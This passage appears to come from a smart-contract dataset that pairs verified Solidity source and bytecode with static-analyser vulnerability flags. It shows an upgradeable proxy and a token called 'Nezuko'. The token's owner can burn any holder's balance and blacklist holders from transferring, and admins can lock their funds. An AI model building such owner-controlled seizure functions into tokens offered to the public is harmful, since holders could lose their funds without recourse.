15611cda57611cda611c7f565b500390565b600060208284031215611cf157600080fd5b81516112dc81611938565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4c5784516001600160a01b031683529383019391830191600101611d27565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da957611da9611c7f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220592724d98a4d03d14257e029e6b330d153ed43fb7e9b0d55745cfd00ddd70fca64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 925 |
0x2bb864cdb4856ab2d148c5ca52dd7ccec126d138 | /**
*Submitted for verification at Etherscan.io on 2021-05-17
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
} | 0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122073c4c21e5c673ed7cd3c216206991b426c7391cadd714e9a2c3f3ee94217be2b64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 926 |
0xc179af0560d13eb77263fb9336326588fcbe8d38 | // SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Nezuko is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function isBlackList(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (
sys.amountToken,
sys.lockUntil
);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function addbot(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
function dellbot(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address ");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106101735760003560e01c8063715018a6116100de578063a457c2d711610097578063b36d691911610071578063b36d691914610510578063dd62ed3e14610536578063df698fc914610564578063f2fde38b1461058a57610173565b8063a457c2d714610492578063a9059cbb146104be578063b129644d146104ea57610173565b8063715018a6146103c75780637238ccdb146103cf57806384d5d9441461040e578063852564ab146104405780638da5cb5b1461046657806395d89b411461048a57610173565b8063313ce56711610130578063313ce567146102d157806339509351146102ef5780633d72d6831461031b578063569abd8d146103475780635e558d221461036f57806370a08231146103a157610173565b806306fdde0314610178578063095ea7b3146101f557806318160ddd1461023557806319f9a20f1461024f57806323b872dd1461027557806324d7806c146102ab575b600080fd5b6101806105b0565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ba5781810151838201526020016101a2565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102216004803603604081101561020b57600080fd5b506001600160a01b038135169060200135610646565b604080519115158252519081900360200190f35b61023d610663565b60408051918252519081900360200190f35b6102216004803603602081101561026557600080fd5b50356001600160a01b0316610669565b6102216004803603606081101561028b57600080fd5b506001600160a01b038135811691602081013590911690604001356106e5565b610221600480360360208110156102c157600080fd5b50356001600160a01b031661076c565b6102d961078a565b6040805160ff9092168252519081900360200190f35b6102216004803603604081101561030557600080fd5b506001600160a01b038135169060200135610793565b6102216004803603604081101561033157600080fd5b506001600160a01b0381351690602001356107e1565b61036d6004803603602081101561035d57600080fd5b50356001600160a01b031661084a565b005b6102216004803603606081101561038557600080fd5b506001600160a01b038135169060208101359060400135610968565b61023d600480360360208110156103b757600080fd5b50356001600160a01b03166109de565b61036d6109f9565b6103f5600480360360208110156103e557600080fd5b50356001600160a01b0316610aa6565b6040805192835260208301919091528051918290030190f35b6102216004803603606081101561042457600080fd5b506001600160a01b038135169060208101359060400135610aed565b6102216004803603602081101561045657600080fd5b50356001600160a01b0316610b6a565b61046e610bd2565b604080516001600160a01b039092168252519081900360200190f35b610180610be6565b610221600480360360408110156104a857600080fd5b506001600160a01b038135169060200135610c47565b610221600480360360408110156104d457600080fd5b506001600160a01b038135169060200135610caf565b6102216004803603602081101561050057600080fd5b50356001600160a01b0316610cc3565b6102216004803603602081101561052657600080fd5b50356001600160a01b0316610d2b565b61023d6004803603604081101561054c57600080fd5b506001600160a01b0381358116916020013516610d49565b61036d6004803603602081101561057a57600080fd5b50356001600160a01b0316610d74565b61036d600480360360208110156105a057600080fd5b50356001600160a01b0316610ea9565b60068054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b820191906000526020600020905b81548152906001019060200180831161061f57829003601f168201915b5050505050905090565b600061065a610653611013565b8484611017565b50600192915050565b60055490565b600060026000610677611013565b6001600160a01b0316815260208101919091526040016000205460ff1615156001146106d45760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b6106dd82611103565b506001919050565b60006106f28484846111b2565b610762846106fe611013565b61075d85604051806060016040528060288152602001611bcc602891396001600160a01b038a1660009081526004602052604081209061073c611013565b6001600160a01b03168152602081019190915260400160002054919061151d565b611017565b5060019392505050565b6001600160a01b031660009081526002602052604090205460ff1690565b60085460ff1690565b600061065a6107a0611013565b8461075d85600460006107b1611013565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610fb2565b60006107eb611013565b60085461010090046001600160a01b03908116911614610840576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b61065a83836115b4565b610852611013565b60085461010090046001600160a01b039081169116146108a7576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff16156108ff5760405162461bcd60e51b8152600401808060200182810382526021815260200180611cc66021913960400191505060405180910390fd5b6001600160a01b0381166109445760405162461bcd60e51b8152600401808060200182810382526026815260200180611b4e6026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19166001179055565b600060026000610976611013565b6001600160a01b0316815260208101919091526040016000205460ff1615156001146109d35760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b6107628484846116b0565b6001600160a01b031660009081526020819052604090205490565b610a01611013565b60085461010090046001600160a01b03908116911614610a56576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b60085460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360088054610100600160a81b0319169055565b6001600160a01b03811660009081526003602052604081206001810154829190421115610ada576000809250925050610ae8565b805460019091015490925090505b915091565b600060026000610afb611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610b585760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b6109d3610b63611013565b85856111b2565b6000610b74611013565b60085461010090046001600160a01b03908116911614610bc9576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6106dd826117f7565b60085461010090046001600160a01b031690565b60078054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b600061065a610c54611013565b8461075d85604051806060016040528060258152602001611ca16025913960046000610c7e611013565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919061151d565b600061065a610cbc611013565b84846111b2565b6000610ccd611013565b60085461010090046001600160a01b03908116911614610d22576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6106dd826118fc565b6001600160a01b031660009081526001602052604090205460ff1690565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b610d7c611013565b60085461010090046001600160a01b03908116911614610dd1576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff161515600114610e43576040805162461bcd60e51b815260206004820152601d60248201527f4f776e61626c653a2061646472657373206973206e6f742061646d696e000000604482015290519081900360640190fd5b6001600160a01b038116610e885760405162461bcd60e51b8152600401808060200182810382526026815260200180611b286026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19169055565b610eb1611013565b60085461010090046001600160a01b03908116911614610f06576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b038116610f4b5760405162461bcd60e51b8152600401808060200182810382526026815260200180611a986026913960400191505060405180910390fd5b6008546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600880546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60008282018381101561100c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661105c5760405162461bcd60e51b8152600401808060200182810382526024815260200180611c5a6024913960400191505060405180910390fd5b6001600160a01b0382166110a15760405162461bcd60e51b8152600401808060200182810382526022815260200180611abe6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03811660008181526003602052604090209061116d576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b60006001820181905580825560405181906001600160a01b038516907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf08685580908390a45050565b6001600160a01b0383166000818152600360205260409020906112065760405162461bcd60e51b8152600401808060200182810382526025815260200180611c356025913960400191505060405180910390fd5b6001600160a01b03831661124b5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a306023913960400191505060405180910390fd5b6001600160a01b0384166000908152600